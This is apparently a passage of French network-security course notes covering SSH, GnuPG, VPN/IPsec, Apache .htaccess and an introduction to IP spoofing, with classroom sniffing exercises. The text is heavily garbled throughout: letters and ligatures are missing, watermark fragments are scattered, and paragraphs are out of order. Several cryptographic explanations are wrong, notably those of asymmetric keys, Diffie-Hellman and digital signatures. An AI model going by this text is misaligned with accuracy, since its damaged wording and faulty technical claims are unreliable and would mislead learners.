Les mthodes communment utilises pour se connecter distance un autre systme au moyen dun shell (telnet, rlogin ou rsh) ou pour copier des chiers entre ordinateurs htes (ftp ou rcp) ne sont pas scurises et devraient donc tre vites. Vous devriez plutt vous connecter un ordinateur hte distant au moyen dun shell scuris ou dun rseau priv virtuel chiffr. En utilisant des mthodes scurises pour vous connecter distance dautres systmes, vous rduisez les risques en matire de scurit, pour votre systme et pour le systme distant.
ic
en ce
Ce chapitre parle des avantages du protocole SSH, de la squence dvnements se produisant lors dune connexion scurise un systme distant, des diffrentes couches de SSH et des mthodes pour assurer que les utilisateurs qui se connectent votre systme utilisent le protocole SSH.
FD
SSH[14]
51
Dabord, une couche transport scurise doit tre cre pour que le client sache quil communique bien avec le bon serveur. Ensuite, la communication est chiffre entre le client et le serveur au moyen dun chiffrage symtrique. Puis, une fois la connexion scurise tablie avec le serveur, le client peut sauthentier auprs de celui-ci sans craindre que ses informations ne puissent tre compromises. OpenSSH utilise par dfaut des cls DSA ou RSA et la version 2.0 du protocole SSH pour lauthentication. Enn, aprs lauthentication du client auprs du serveur, de nombreux services diffrents peuvent tre utiliss de faon scurise au cours de la connexion, tels quune session shell interactive, des applications X11 et des ports TCP/IP tunnelliss. Lensemble du processus de connexion se fait sans que le systme local nait faire de nombreuses oprations supplmentaires. En effet, SSH semblera familier, bien des gards, aux utilisateurs habitus aux mthodes de connexion moins scurises. Dans lexemple qui suit, lutilisateur 1 (user1) sur le systme client veut initier une connexion SSH un systme serveur. Ladresse IP de ce serveur est 10.0.0.2, mais on pourrait galement utiliser son nom de domaine. Le nom de connexion de lutilisateur 1 sur le serveur est user2. La commande ssh est crite de la faon suivante :
1 La
mystication est lacte de laisser croire aux autres que lon est un systme prcis sans ltre vritablement.
oc um en ts
Pour aider protger lintgrit dune communication SSH entre deux ordinateurs htes, une certaine srie dvnements doit tre utilise.
ou sl
ic
en ce
FD
52
[user1@machine1 user1]> ssh user2@10.0.0.2 Une possibilit2 est que le client OpenSSH demande la phrase daccs de la cl prive de lutilisateur pour dchiffrer la cl prive utilise pour procder lauthentication. Cette mthode permet en cas de vol de la cl prive de la personne de ne pas pouvoir tre utilise par la suite sans la phrase daccs associe. Cependant, la phrase daccs de la cl prive nest pas envoye au moyen de la connexion scurise en cours. Elle est utilise pour ouvrir le chier id_dsa et gnrer une signature qui est ensuite envoye au serveur. Si le serveur a une copie de la cl publique de lutilisateur pouvant tre utilise pour vrier la signature, lutilisateur est alors authenti. Dans cet exemple, lutilisateur utilise une cl DSA (des cls RSA, notamment, peuvent aussi tre utilises) et reoit linvite suivante : Enter passphrase for DSA key /home/user1/.ssh/id_dsa : Si lauthentication par cl publique choue, pour une raison ou une autre (il se pourrait que la phrase daccs ait t mal tape ou que les renseignements dauthentication nexistent pas encore sur le serveur), un autre type dauthentication est gnralement lanc. Dans notre exemple, le serveur OpenSSH permet lutilisateur 1 de sauthentier au moyen du mot de passe de lutilisateur 2 (user2) car la signature envoye ne correspond pas la cl publique stocke par lutilisateur 2 : user2@machine2s password : En introduisant le bon mot de passe, lutilisateur reoit une invite shell. Bien entendu, lutilisateur 2 doit dj avoir un compte sur lordinateur 10.0.0.2 pour que lauthentication par mot de passe russisse. Last login : Mon Apr 15 13 :27 :43 2001 from machine1 [user2@machine2 user2]> A ce stade, lutilisateur peut interagir avec le shell de la mme faon quavec telnet ou rsh, sauf que la communication est chiffre. Dautres outils SSH, tels que scp et sftp, fonctionnent de faon semblable aux outils non scuriss rcp et ftp.
Le protocole SSH permet tout programme client et serveur cr selon les spcications du protocole de communiquer de faon scurise et dtre utilis de manire interchangeable. A lheure actuelle, il existe deux types diffrents de protocole SSH. La version 1 contient de nombreux algorithmes de chiffrement brevets (toutefois, bon nombre de ces brevets sont prims) et un trou de scurit qui donne la possibilit ventuelle dinsrer des donnes dans le ot de donnes. Il vous est vivement recommand dutiliser des serveurs et clients compatibles avec la version 2 de SSH, si cela vous est possible. OpenSSH comprend le support pour la version 2 (et des cls de chiffrement DSA disponibles gratuitement). Conjugu aux bibliothques de chiffrement OpenSSL, OpenSSH offre une gamme complte de fonctions de scurit. Les deux versions (1 et 2) du protocole SSH utilisent des couches de scurit semblables pour renforcer lintgrit des communications sous diffrents aspects. Chaque couche fournit son propre type de protection, ce qui, lorsque utilis de concert avec dautres types, renforce la scurit des communications et les rend plus facile utiliser.
2 De
nombreuses congurations dauthentication et de gestion des cls sont possibles avec SSH
oc um en ts
ou sl
ic
en ce
FD
53
15.4.2 Authentication
Une fois que la couche transport a cr un tunnel scuris pour envoyer les informations entre les deux systmes, le serveur indique au client quelles sont les diffrentes mthodes dauthentication prises en charge, telles que lutilisation dune signature chiffre prive ou lentre dun mot de passe. Le client doit ensuite essayer de sauthentier au serveur au moyen dune des mthodes spcies. tant donn que les serveurs peuvent tre congurs de faon permettre diffrents types dauthentication, cette mthode donne aux deux parties un niveau de contrle optimal. Le serveur peut dcider quelles mthodes dauthentication prendre en charge en fonction de son modle de scurit et le client peut choisir
oc um en ts
ou sl
ic
en ce
FD
54
lordre des mthodes dauthentication utiliser parmi celles qui sont disponibles. Grce la nature scurise de la couche transport SSH, mme les mthodes dauthentication qui, de prime abord, semblent non scurises, telles que lauthentication dordinateur hte, peuvent tre utilises en toute scurit. Pour raliser lauthentication travers une cl publique / prive, il faut ajouter la dnition de la cl publique dans le chier .ssh/autorized_keys du compte sur lequel vous dsirez vous conneter : lampion:/home/eric# cat /home/s3/.ssh/id\_dsa.pub >> .ssh/authorized\_keys
15.4.3 Connexion
Lors dune demande de connexion, le dmon SSH ralise un fork et permet la connexion travers son processus ls. Avant de permettre lauthentication entre les 2 points terminaux, il effectue un change dauthentication.
oc um en ts
Les canaux sont particulirement utiles avec la retransmission X11 et la retransmission de port TCP/IP par SSH. Des canaux spars peuvent tre congurs diffremment, pour utiliser une quantit maximum de paquets diffrente ou pour transfrer un type spcique de donnes. Cela permet SSH de faire preuve de souplesse lors de lacheminement des donnes sur divers types de connexion distance, tels que les liaisons sur des rseaux publics ou les connexions rapides sur des rseaux locaux dentreprise, sans avoir changer linfrastructure de base du protocole. Le client et le serveur ngocient automatiquement la conguration de chaque canal lintrieur de la connexion pour lutilisateur.
ou sl
Les canaux prennent aussi en charge le contrle du ot de donnes, ce qui leur permet denvoyer et de recevoir des donnes de faon ordonne. Ce faisant, aucune donne nest envoye par le canal tant que lhte na pas reu un message lui indiquant que le canal est en mesure den recevoir.
ic
en ce
Le client et le serveur peuvent tous deux crer un nouveau canal et chaque canal reoit un numro diffrent aux deux extrmits (serveur ou client). Lorsque lune delle essaie douvrir un nouveau canal, le numro de cette extrmit pour ce canal est envoy avec la requte. Cette information est stocke lautre extrmit et utilise pour diriger un type spcique de communication dun service ce canal. Ainsi, des types diffrents de session ne peuvent se nuire entre eux et les canaux peuvent tre ferms sans interrompre la connexion SSH principale entre les deux systmes.
FD
Aprs avoir effectu avec succs lauthentication au moyen de la couche transport SSH, des canaux multiples sont ouverts en transformant la connexion simple entre les deux systmes en connexion multiplex3.
55
rponse du client. Si les versions ne concordent pas ou si la version cliente est invalide, le serveur cloture la connexion. Si les versions concordent, lchange de cl peut se faire.
15.7 Conclusion
SSH permet deffectuer une maintenance des serveurs via Internet sans avoir de craintes au niveau scuritaire des accs. Lune des applications plus ou moins directe du protocole SSH est le VPN que nous allons dtailler maintenant.
oc um en ts
ou sl
ic
en ce
FD
56
15.8.2 Telnet
Connectez vous en Telnet sur la machine indique par linstructeur. telnet lampion lampion login : squirrel Password : texavery ... exit eric@lampion:~/secu/reseau$ telnet lampion Trying 127.0.0.1... Connected to lampion. Escape character is ^]. Debian GNU/Linux 3.0 lampion lampion login: squirrel Password: Last login: Tue Nov 26 11:02:47 2002 from lampion on pts/2 Linux lampion 2.2.19pre17 #14 SMP Wed Aug 21 13:38:36 CEST 2002 i686 unknown Most of the programs included with the Debian GNU/Linux system are freely redistributable; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. squirrel@lampion:~$ exit logout Connection closed by foreign host.
15.8.3 SSH
Connectez vous en SSH sur la machine indique par linstructeur.
oc um en ts
ou sl
ic
en ce
FD
57
eric@lampion:~/secu/reseau$ ssh squirrel@lampion squirrel@lampions password: Linux lampion 2.2.19pre17 #14 SMP Wed Aug 21 13:38:36 CEST 2002 i686 unknown Most of the programs included with the Debian GNU/Linux system are freely redistributable; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Tue Nov 26 11:25:52 2002 from lampion squirrel@lampion:~$ exit logout Connection to lampion closed. eric@lampion:~/secu/reseau$
Comparez les rsultats obtenus avec le sniffer. Essayez de retrouver votre mot de passe de la session telnet dans les trames sniffes. Recherchez les diffrentes phases du protocole SSH
15.9 Scp
scp est un programme utilisant le protocole SSH qui permet de copier des chiers dun serveur sur une autre machine possdant un client scp. Sous Windows, il existe le logiciel WinSCP. Sous Linux, il vous faudra utiliser la commande scp de la faon suivante : Copie vers le serveur SSH : scp <fichiers> user@IPServeur :PathServeur Exemple : scp * root@192.168.2.10 :. Copie depuis le serveur SSH : scp user@IPServeur :<fichiers> Path Exemple : scp root@192.168.2.10 :* .
oc um en ts
15.8.4 Exercices
ou sl
ic
en ce
FD
Chapitre 16
Elle assure lidentit de lmetteur et lintgrit du message. Le schma de signature digitale est le suivant : algorithme de la signature + algorithme de vrication. Principe : utilisation dune cl prive pour la signature et dune cl publique pour la vrication. Rgle : un tiers peut dterminer la validit dune signature sans connatre la cl prive du signataire. Fonctionnement : le signataire crypte sa signature laide de sa cl prive. Celle-ci est alors dchiffre laide de la cl publique par le destinataire. Les algorithmes standards utiliss pour raliser ce cryptage de signature sont : DSA (Digital Signature Algorithm) : utilisation de la fonction de hashage SHA. Signature RSA : utilise le chiffrement cl publique RSA.
16.1.2 Chiffrement
Il existe 2 types de chiffrement : chiffrement symtrique : cl de chiffrement = cl de dchiffrement (cl secrte) chiffrement asymtrique : cl de chiffrement = cl de dchiffrement respectivement cl publique, cl prive Pour envoyer un message chiffr un destinataire, lexpditeur va utiliser la cl publique du destinataire an de chiffrer le message envoyer. Celui-ci pourra alors tre dchiffre par le destinataire grce sa cl prive. Un problme subsiste tout de mme pour le transfert de la cl publique. Il faut donc faire alors appel aux certicats. Ces certicats sont donns par une entreprise prive qui conrmereront lidentit dune personne.
16.2.1 Installation
Tlcharger le logiciel gnupg pour Windows ainsi que sa somme de contrle. 58
oc um en ts
ou sl
ic
en ce
FD
59
F IG . 16.1 Encryptage dun message avec signature lectronique Vrier lintgralit du logiciel ainsi tlcharger. Installer le logiciel dans le rpertoire c :\gnupg Modier votre PATH pour ajouter c :\gnupg1
Crer votre propre jeu de cl : gpg gen-key Exporter votre cl publique : gpg armor output public.txt export VOTRE NOM Exporter votre cl prive (pour la mettre en lieu sr) : gpg armor output private.txt export-secret-keys VOTRE NOM
Dcrypter le chier : gpg decrypt-files fichier crypt2 Signer un chier : gpg local-user VOTRE NOM clearsign message.txt. Le chier sign sera message.txt.asc. Vrier la signature : gpg verify message.txt.asc
1 Sous XP/2000/NT : System Properties > Advanced Tab > Environment Variables > System Variables Sous 9x : autoexec.bat 2 Le chier crypt DOIT avoir pour extension .gpg (renommer le au besoin)
Encrypter un chier de votre choix : gpg recipient LE NOM DE LA CLE PUBLIQUE A UTILISER output fichier crypt encrypt fichiercrypter.gpg .
oc um en ts
ou sl
ic
en ce
FD
60
oc um en ts
ou sl
Aide Loption -v permet davoir des informations complmentaires lors de lxcution dune commande gpg Les commandes gpg list-keys, gpg list-public-keys et gpg list-secret-keys permettent de voir les cls de votre trousseau.
ic
en ce
Importer la cl publique de votre voisin : gpg -v import monvoisin.txt Valider son identit : gpg edit-key monvoisin, entrez la commande trust puis slectionner le choix 5 pour indiquer que vous lui fates une conance aveugle. Entrez la commande quit pour arrter. Encrypter un chier avec la cl publique de votre voisin, donner lui le chier pour quil le dcrypte. Signer un chier avec votre signature et demander votre voisin de contrler celle-ci.
FD
61
gpg gen-revoke output certificat.asc key_id o key_id reprsente lidentiant de la cl pour laquelle vous dsirez crer le certicat de rvocation. Une fois votre certicat de rvocation cr, vous pouvez sans souci dposer votre cl sur le serveur de votre choix : gpg keyserver nomduserver send-keys key_id Suppression dune cl du trousseau Il peut arriver de faire des erreurs ou bien que le temps passe et que certaines cls ne soient plus valides, il faut donc les supprimer du trousseau. Pour se faire, le mieux est de lister les cls pour pouvoir visualiser les UIDs : gpg list-keys ce qui donne : [stage@rh3 stage]$ gpg --list-keys gpg: Avertissement: lutilisation de la m c moire nest pas sre ! gpg: voir http://www.gnupg.org/fr/faq.html pour plus dinformations /home/stage/.gnupg/pubring.gpg -----------------------------pub 1024D/8C30403C 2004-09-29 Superman (Clark Kent) <superman@krypton.fr> sub 1024g/08797651 2004-09-29 [expire: 2004-09-30] Puis utiliser les commandes : gpg delete-secret-key UID : pour supprimer une cl prive gpg delete-key UID : pour supprimer une cl publique Ce qui nous donne : [stage@rh3 stage]$ gpg --delete-secret-key 08797651 gpg (GnuPG) 1.0.7; Copyright (C) 2002 Free Software Foundation, Inc. This program comes with ABSOLUTELY NO WARRANTY. This is free software, and you are welcome to redistribute it under certain conditions. See the file COPYING for details. gpg: Avertissement: lutilisation de la mmoire nest pas sre ! gpg: voir http://www.gnupg.org/fr/faq.html pour plus dinformations sec 1024D/8C30403C 2004-09-29 Superman (Clark Kent) <superman@krypton.fr> Enlever cette cl du porte-cls ? o [stage@rh3 stage]$ gpg --delete-key 8C30403C gpg (GnuPG) 1.0.7; Copyright (C) 2002 Free Software Foundation, Inc. This program comes with ABSOLUTELY NO WARRANTY. This is free software, and you are welcome to redistribute it under certain conditions. See the file COPYING for details. gpg: Avertissement: lutilisation de la mmoire nest pas sre ! gpg: voir http://www.gnupg.org/fr/faq.html pour plus dinformations pub 1024D/8C30403C 2004-09-29 Superman (Clark Kent) <superman@krypton.fr> Enlever cette cl du porte-cls ? o Attention : Il est ncessaire de supprimer la cl prive avant la cl publique.
oc um en ts
ou sl
ic
en ce
FD
Chapitre 17
17.1 Introduction
17.1.1 Quest-ce quun VPN ?
La principale raison pour implmenter un VPN est lconomie suppose par rapport tout autre type de connexion. Bien que les VPN ncessitent lacquisition de produits matriels et logiciels supplmentaires, le cot terme de ce genre de communication est moindre. Lentreprise ne paye que laccs lInternet via son ISP (tarif local) et non une communication nationale dans le cas dune liaison RNIS ou un forfait dans le cas dune Liaison Spcialise. La technologie VPN procure de mme la scurit lors des connexions dutilisateurs distants au rseau interne de lentreprise.
oc um en ts
Un VPN (Virtual Private Network) est une liaison scurise entre 2 parties via un rseau public, en gnral Internet. Cette technique assure lauthentication des 2 parties, lintgrit des donnes et le chiffrage de celles-ci. Les 3 grands cas dutilisation de VPN sont les suivants : Raccordement de tltravailleurs ou travailleurs mobiles. Ceux-ci se raccordent aux ressources de lentreprise par modem, RNIS ou xDSL Interconnexion de succursales. Des sites distants dune mme entreprise partagent les mme ressources sans avoir recours des lignes spcialises (LS). Exploitation de rseaux extranets. Ce segment trouve sa justication dans lessor probable du commerce lectronique. La gure ci-dessous illustre le principe des VPN
ou sl
62
ic
en ce
FD
63
oc um en ts
ou sl
ic
en ce
FD
64
Un ordinateur qui accepte des connexions VPN de clients VPN. Un serveur VPN peut fournir une connexion VPN accs distant ou une connexion VPN routeur routeur. Client VPN Un ordinateur qui initie une connexion VPN vers un serveur VPN. Un client VPN peut tre un ordinateur individuel qui obtient une connexion VPN accs distant ou un routeur qui obtient une connexion VPN routeur routeur. Tunnel La portion de connexion dans laquelle les donnes sont encapsules. La connexion VPN
1. la gestion et lchange des cls entre 2 passerelles VPN (IKE : Internet Key Exchange) 2. le chiffrement des paquets IP (ESP : Encapsulating Security Payload) 3. lauthentication (AH : Authentication Header) De plus lutilisation de ce protocole ouvert assure, en thorie, linteroprabilit dquipements htrognes. La gure suivante schmatise une connexion VPN entre 2 sites dune socit :
oc um en ts
Les premiers standards utiliss furent propritaires limage de L2F (Layer 2 Forwarding) de Cisco et Shiva (Intel), PPTP (Point to Point Tunneling Protocol) de Microsoft et 3Com et L2TP (Layer 2 Tunneling Protocol), fusion des 2 prcdents. Cependant, le standard actuel de niveau 3 est IPsec promulgu par IETF (Internet Engineering Task Force). Ses composantes assurent :
ou sl
Protocoles
ic
La portion de connexion dans laquelle les donnes sont chiffres. Pour des connexions VPN scurises, les donnes sont chiffres et encapsules dans la mme portion de la connexion. Note : Il est possible de crer un tunnel et denvoyer les donnes dans le tunnel sans chiffrage. Ce nest pas une connexion VPN car les donnes prives sont envoyes au travers dun rseau partag ou public sous une forme non chiffre et facilement lisible.
en ce
FD
65
17.2.3 La tunnelisation
Cest la mthode utilise pour faire transiter des informations prives sur un rseau public. Les tunnels scuriss garantissent la condentialit et lintgrit des donnes ainsi que lauthenticit des 2 parties. Dans cette mthode dite dencapsulation, chaque paquet est compltement chiffr et plac lintrieur dun nouveau paquet. Les standards de la couche 2 sont PPTP (Point to Point Tranfert Protocol) et L2F (Layer 2 Forwarding) qui ont converg vers un protocole unique, L2TP (Layer 2 Transfert Protocol). Le protocole de niveau 3 est standardis : il sagit de la norme prescrite par lIETF pour IP V6 et compatibles IP V4, IPsec. Il existe 2 modes de transport distincts : Mode Transport : il protge le contenu dune trame IP en ignorant len-tte.
Mode Tunnel : plus performant, il cre des tunnels en encapsulant chaque trame dans une enveloppe qui protge tous les champs de la trame. Utilisation : Il est utilis entre 2 quipements dont au moins un nest pas un quipement terminal. Les donnes peuvent tre chiffres (mode ESP) ou pas ( mode AH). Idal pour relier 2 rseaux distants.
: ce module garantit lauthenticit des trames IP en y ajoutant un champ chiffr destin vrier lauthenticit des donnes renfermes dans le datagramme. AH - Mode Transport
AH - Mode Tunnel
oc um en ts
ou sl
ic
Utilisation : Ce mode de transport est gnralement utilis entre les points terminaux dune connexion, idal pour une connexion nomade sur un rseau.
en ce
FD
66
F IG . 17.5 ESP (Encapsulating Security Header) Les avantages de la tunnelisation sont multiples. Elle permet de cacher la topologie du rseau, de router des rseaux non-routables au travers dinternet et de faire cohabiter des solutions VPN et pare-feu au niveau de la couche applicative.
: Protocole destin permettre le partage dune cl de chiffrage entre metteur et destinataire, dans le cadre du protocole IPsec. (cf section 17.2.9 page : 67)
17.2.8 Le chiffrement
Le chiffrement recommand par lIETF est bas sur le standard US, le DES. Celui-ci prsente 3 variantes, se distinguant les unes des autres par le nombre de bits utiliss : 56-bit DES : simple, craqu en quelques minutes 112-bit DES (double DES) : craqu par une attaque en ligne concern, sans complexit supplmentaire que le 56-bit 168-bit DES (triple DES) : bas sur 3 cls indpendantes mais pas aussi difcile craquer quun systme cl de longueur triple. Aucun chiffrement cependant nest sr 100%. Le Gouvernement a dcid de relever le seuil de chiffrage dont lutilisation est libre, de 40 bits 128 bits. Le protocole DES, quelquen soit le type, est symtrique, cest--dire que la mme cl de session (ou la mme suite de 3 cls dans le cas triple DES) est utilise par les 2 entits communicantes. Cette cl est
oc um en ts
ou sl
ic
en ce
FD
67
Cependant, le problme rside dans lchange de la valeur de la cl entre les 2 entits. On le rsout grce au protocole de Dife-Hellman. Celui-ci permet la ngociation dune cl unique, de manire commune. Chaque entit dtermine une moiti de la cl et envoie les paramtres permettant de calculer la moiti manquante lautre entit. Ce protocole tant asymtrique, il se base sur une paire de cls, une prive et une publique . Protocole de Dife Hellman On imagine 2 entits (A et B) et leur jeu de cls prive et publique. A calcule la moiti de la future cl commune et fournit B les paramtres permettant de calculer cette moiti. Il utilise la cl publique de B pour chiffrer ces paramtres et les envoie B. Ce dernier dchiffre le paquet reu grce sa cl prive et calcule la moiti de cl qui lui manque. Il fait une opration similaire de manire fournir A sa moiti de cl. Ainsi, les 2 entits disposent dune cl commune de session.
La faiblesse de ce type dchange rside dans la validit de la cl publique. Il sagit de contrler lorigine de lentit qui envoie la cl publique, il faut lauthentier.
17.2.9 Lauthentication
Un certicat est constitu dune clef publique et dun certain nombre de champs didentication, le tout sign par un tiers certicateur. En plus, un certicat contient des informations de gestion (numro de srie, une date dexpiration, etc.). Ils se basent sur les recommandations X509 et permettent de faon sre dauthentier une personne, la manire dun passeport. On fournit une autorit de certication les informations et celle-ci retourne un certicat digital. Ces certicats sont composs de 2 parties : les informations concernant lentit (nom, cl publique, adresse physique...) et un rsum chiffr de ces informations. Le rsum de ces informations est effectu par un algorithme de hachage tel MD5 ou SHA-1 qui retourne un numro unique, numro qui est ensuite chiffr. Lorsquun certicat est transmis une entit qui veut vrier lauthenticit dune autre, elle procde en 4 tapes : elle spare les informations de lentit et le rsum chiffr, elle dchiffre le rsum chiffr, elle recalcule un rsum en utilisant le mme algorithme (MD5...) elle compare le rsum calcul par ses soins et le rsum dchiffr : si les rsultats correspondent, lauthenticit est prouve.
oc um en ts
Elle est obtenue en fournissant la preuve de son identit auprs de son interlocuteur. Il existe plusieurs technologies dont voici les 3 principales :
ou sl
Il est important de noter quun chiffrement bas sur une solution matrielle (Asic ddi) se rvle beaucoup plus rapide que son quivalente logicielle.
ic
en ce
FD
68
Phrase challenge
Radius
Ce systme utilise un serveur dauthentication RADIUS1 . Lors dune demande de connexion dun client sur un quipement VPN, ce dernier demande le mot de passe et lidentiant RADIUS du client. Ensuite, lquipement VPN utilise sa cl secrte pour vrier lauthentication auprs du serveur RADIUS.
17.3 Conclusion
De cette succincte tude, on peut dgager quelques critres de slection concernant les solutions VPN tudier : longueur des cls utilises au chiffrement algorithmes de chiffrement algorithmes de hachage chiffrement matriel/logiciel nombre de connexions simultanes type dauthentication (si certicats, interne ou externe) volutivit du matriel...
1 Remote
oc um en ts
ou sl
Le processus est similaire celui utilis dans le cas des certicats digitaux. La diffrence rside en labsence dautorit de certication ; les entits doivent elles mme gnrer leurs certicats digitaux. La signature est alors chiffre par une phrase challenge commune aux 2 entits. Il faut donc que celle-ci soit entre dans tous les quipements dsirant communiquer.
ic
en ce
Lautorit de certication peut tre de 2 types. Elle peut tre propritaire et fournie par le constructeur ou bien elle peut tre externe. Cest alors une socit tiers qui lon dlgue la gestion de sa PKI (Public Key Infrastructure). Les socits les plus connues sont actuellement Entrust, Verisign...
FD
Chapitre 18
18.1 Introduction
Nous allons ajouter des directives pour le dossier que nous souhaitons protger comme suit : <Directory /var/www/> AllowOverride AuthConfig </Directory> Ici je souhaite que le dossier /var/www/ accepte la directive AllowOverride AuthCong. Cela implique que tous ces sous-dossiers vont galement accepter cette directive. Que signie AllowOverride AuthCong ? Tout simplement quApache daignera lire votre chier .htaccess si il se trouve dans le rpertoire en question (ou un de ses sous-rpertoires)
oc um en ts
Le chier de conguration classique dApache est httpd.conf. Sur certaines installation il existe galement un chier commonhttpd.conf. Les deux se trouvent en gnral dans /etc/httpd ou /etc/httpd/conf. Le chier qui doit tre modi contient gnralement dj des directives pour des rpertoires particuliers. Ca ressemble a : <Directory /var/www/icons> Options -Indexes MultiViews AllowOverride None Order allow,deny Allow from all </Directory>
ou sl
69
ic
Il existe beaucoup de mthodes pour scuriser une partie dun site Web tournant sur Apache. Je vous propose la mthode de lhtaccess parce-quelle est trs souple (on peut ajouter des utilisateurs la vole sans relancer le serveur apache) mais ce nest pas forcement la meilleure, cest simplement un choix.
en ce
FD
70
Ces mots de passe doivent tre crypts. Vous obtenez le mot de passe crypt au moyen de la commande htpasswd. Par exemple je souhaite que lutilisateur toto accde ma page Web avec le mot de passe supertoto, je tape la commande : htpasswd -c /var/www/.htpasswd toto [root@Ernest stephane]# htpasswd -c /var/www/.htpasswd toto New password: Re-type new password: Adding password for user toto
Bien sr dans cet exemple on ne voit pas les mots de passe car bash les cachent mais jai bien tap supertoto deux fois de suite. Il y a maintenant un chier .htpasswd dans /var/www avec le user toto et son mot de passe crypt. [root@Ernest stephane]# htpasswd /var/www/.htpasswd titi New password: Re-type new password: Adding password for user titi Imaginons maintenant que je dsire quun utilisateur supplmentaire titi accde a ma page. Voici la commande pour ajouter un utilisateur a un chier .htpasswd existant :
oc um en ts
ou sl
ic
Il faut placer ce chier l o vous avez indiqu .htaccess de le chercher. Vous le crez tout simplement avec un diteur de texte. Il contient une ligne par utilisateur autoris qui se dcompose comme suit :
en ce
FD
Ni plus ni moins. Attention tout de mme au chemin sur la premire ligne (/var/www/.htpasswd). Ce chemin indique lendroit o vous allez caser votre chier .passwd (ce chier contiendra les logins et passwords autoriss voir les pages). On conseille gnralement de le placer hors du site Web en lui mme.
71
Si maintenant je consulte le chier /var/www/.htpasswd jai bien mes deux users et leur password crypts.
Nous allons dmontrer que le fait de protger une page Web par mot de passe nest pas sufsant.
oc um en ts
ou sl
ic
en ce
Connectez vous sur la machine de linstructeur http ://lampion/protect Lancez votre sniffer Tapez lutilisateur eric et le mot de passe droopy Recherchez cette chane dans les trames sniffes.
FD
72
oc um en ts
ou sl
ic
en ce
FD
Chapitre 19
oc um en ts
ou sl
73
Le cryptage permet de scuriser les connexions en rendant illisible les trames qui passent sur Internet. Cette technique est de plus en plus utilise. Par contre celle-ci ne sert rien si le mot de passe et/ou la phrase cl sont choisis de manire relativement banale. On observe tout de mme des failles de scurit dans les protocoles de cryptage, il est donc ncessaire de se mettre jour souvent. Le VPN a permis de faire un bond dans les relations intra-entreprises en reliant les diffrentes agences. Certains systmes dexploitation permettent daccder par VPN votre rseau local en se branchant de manire dynamique dessus. Pour ma part je pense que cest une trop grosse faille de scurit. Il est prfrable de laisser un espace chroot pour ce genre de services.
ic
en ce
FD
Conclusion
oc um en ts
ou sl
74
ic
Attaques
en ce
Cinquime partie
FD
Chapitre 20
oc um en ts
ou sl
75
An de connatre de manire plus prcise les principes dune attaque, nous verrons, dans le dtail, deux dentre elles : Le Buffer Overow est une attaque systme qui utilise la programmation qui lui est associe notamment lassembleur ou C. LIP Spoong est une attaque au niveau rseau qui utilise de manire avance les spcications des protocoles rseau.
ic
en ce
An de pouvoir attaquer un serveur, il est ncessaire de savoir quels sont les services quil octroie. Pour les connatre, il est possible dutiliser un mappage des ports nomms aussi Scan de ports. Une fois ces ports connus, on peut alors lancer diverses attaques dont nous verrons quelques standards.
FD
Introduction
Chapitre 21
21.1 Gnralits
21.1.1 Prsentation
oc um en ts
A : un ordinateur cible ou victime B : un serveur ou une machine qui a conance en A X : une machine ayant une adresse forge (ou spoofe) Z : une machine attaque Reprsentation du squencement des trames dans ce document Temps 1 @1 A Action SYN> @2 B
21.2 Pr-requis
Pour comprendre le fonctionnement de lIP spoong, mieux vaut avoir quelques notions sur les systmes dexploitation et le fonctionnement des rseaux. Les quelques points suivants permettent de clarier de faon succincte les mcanismes utiles la comprhension du spoong. Relations de conance : Dans le monde informatique, il est frquent que certaines personnes aient des droits sur des ressources alors que dautres personnes ny ont pas accs. Rlogin : Ce protocole client serveur bas sur TCP permet de se connecter dune machine A sur une machine B distance et cela en tenant compte de la relation de conance, cest dire que si le client est identi (par son adresse IP) dans ce cas, on ne lui demande pas de mot de passe, la connexion est directement tablie. 76
Lunit de temps reprsente le squencement des trames telles quelles doivent avoir lieu @A symbolise la machine A Laction reprsente linformation change
ou sl
ic
LIP spoong est un mcanisme qui consiste se faire passer pour une personne ayant une adresse IP attribue, on falsie donc ladresse IP. Ceci nest que la partie merge dun iceberg, car les mcanismes mis en uvre sont en fait assez complexes.
en ce
FD
IP Spoong [1]
77
21.3 Lattaque
21.3.1 En bref
LIP spoong ncessite plusieurs tapes. Premirement, lattaquant doit choisir sa victime (un serveur). Ensuite, il doit trouver une conguration pour laquelle la victime autorise une connexion avec une machine de conance. Lintrt rside alors dans le but de se faire passer pour cette machine autorise. Pour cela, la machine autorise est rendue invalide (pour ne pas pouvoir ragir), les numros de squence du serveur sont analyss. Une connexion simule avec des paquets falsis de lattaquant est alors demande au serveur avec des numros de squence devins. Si la connexion est tablie, lattaquant modie alors des informations pour permettre de revenir plus facilement ultrieurement.
21.3.2 En dtails
En gnral, une attaque par IP spoong est mene dun compte root vers un autre compte root.
oc um en ts
En (1) le client demande une connexion au serveur en positionnant son numro de squence dans lentte TCP. Pour cela, il utilise le ISN (initial sequence number). A la rception de ce paquet (2), le serveur rpond avec ses bits SYN et ACK, il place galement son ISN dans lentte et un numro dacquittement (qui correpond ISN+1 du client). Le client accepte lISN serveur (3). Ds lors, les transferts peuvent commencer. Incrmentation de numro de squence et ISN : Au dmarrage de la machine, lISN est initialis 1. A chaque seconde coule, lISN sincrmente de 128 000 et chaque connexion tablie il sincrmente galement de 64 000. Ce mcanisme dincrmentation automatique est utilis pour viter quune ancienne connexion TCP tablie vienne perturber (par un nombre de donnes important) une connexion TCP avec des numros de squence trop proches. Ports : Pour autoriser plusieurs connexions simultanes, TCP utilise des ports. Ces ports sont utiliss par la pile IP pour identier les communications rseau. Combins avec une adresse IP, les ports TCP permettent ainsi didentier clairement lutilisation du paquet et sa destination. Pour identier les serveurs, on leur attribue des numros de port spciques suivant le service fourni, comme par exemple le port 513 pour le rlogin.
ou sl
ic
en ce
Temps 1 2 3
@1 A A A
@2 B B B
FD
